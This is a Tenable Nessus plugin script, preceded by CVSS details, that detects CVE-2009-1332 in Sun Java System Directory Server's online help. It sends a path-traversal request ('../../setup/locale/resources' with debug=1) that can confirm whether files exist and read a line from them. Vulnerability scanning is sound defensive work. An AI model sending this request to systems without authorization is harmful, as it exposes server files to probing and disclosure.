CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
EPSS
Percentile
73.8%
Sun Java System Directory Server is running on the remote web server. The hosted version is affected by an information disclosure vulnerability. By sending a specially crafted request to the online help feature, it is possible for a remote attacker to determine if certain files exist, and in some cases retrieve a single line from files.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(39314);
script_version("1.16");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_cve_id("CVE-2009-1332");
script_bugtraq_id(34548);
script_xref(name:"Secunia", value:"34751");
script_name(english:"Sun Java System Directory Server Online Help Feature Information Disclosure");
script_summary(english:"Tries to read a line from DSSetupResources.properties");
script_set_attribute(attribute:"synopsis", value:
"The remote web server is running a web application that is affected
by an information disclosure vulnerability." );
script_set_attribute(attribute:"description", value:
"Sun Java System Directory Server is running on the remote web server.
The hosted version is affected by an information disclosure
vulnerability. By sending a specially crafted request to the online
help feature, it is possible for a remote attacker to determine if
certain files exist, and in some cases retrieve a single line from
files." );
script_set_attribute(attribute:"see_also", value:"https://download.oracle.com/sunalerts/1020302.1.html" );
script_set_attribute(attribute:"solution", value:
"Either disable the online help or upgrade to Sun Java System Directory
Server Enterprise Edition 6.0 or later as discussed in the vendor's
advisory. " );
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"patch_publication_date", value: "2009/04/15");
script_set_attribute(attribute:"plugin_publication_date", value: "2009/06/04");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2009-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("http_version.nasl");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");
port = get_http_port(default:80, embedded: 0);
# Test an install.
helpdir = "../../setup/locale/resources"; # directory relative to, say, 'manual/en'
mapfile = "DSSetupResources.properties"; # file located in helpdir
token = "Frame-Title-Text"; # 'key' in a line in mapfile
# nb: line have key and value separated by an equals sign.
url = string(
"/manual/help/help?",
"helpdir=", helpdir, "&",
"token=", token, "&",
"mapfile=", mapfile, "&",
"debug=1"
);
res = http_send_recv3(method:"GET", item:url, port:port);
if (isnull(res)) exit(0);
if (
string("Product: ", helpdir) >< res[2] &&
string(helpdir, "/", mapfile) >< res[2] &&
(
"CreateFile successfully opened file: " >< res[2] ||
"Failed to open map file: " >< res[2]
)
)
{
if (report_verbosity > 0)
{
if ("CreateFile successfully opened file: " >< res[2])
{
report = string(
"Nessus was able to exploit the issue to retrieve a line from the file\n",
"'manual/en/", helpdir, "/", mapfile, "'\n",
"using the following URL :\n",
"\n",
" ", build_url(port:port, qs:url), "\n"
);
if (report_verbosity > 1 && "Reason :</b> unable to open file: " >< res[2])
{
contents = strstr(res[2], "Reason :</b> unable to open file: ");
contents = strstr(contents, string(helpdir, "/")) - string(helpdir, "/");
contents = contents - strstr(contents, "<br>");
report += string(
"\n",
"Here are contents of the line starting with '", token, "' :\n",
"\n",
crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n",
data_protection::sanitize_user_full_redaction(output:contents), "\n",
crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n"
);
}
}
else
{
report = string(
"\n",
"Nessus was able to verify the issue exists using the following \n",
"URL :\n",
"\n",
" ", build_url(port:port, qs:url), "\n"
);
}
security_warning(port:port, extra:report);
}
else security_warning(port);
}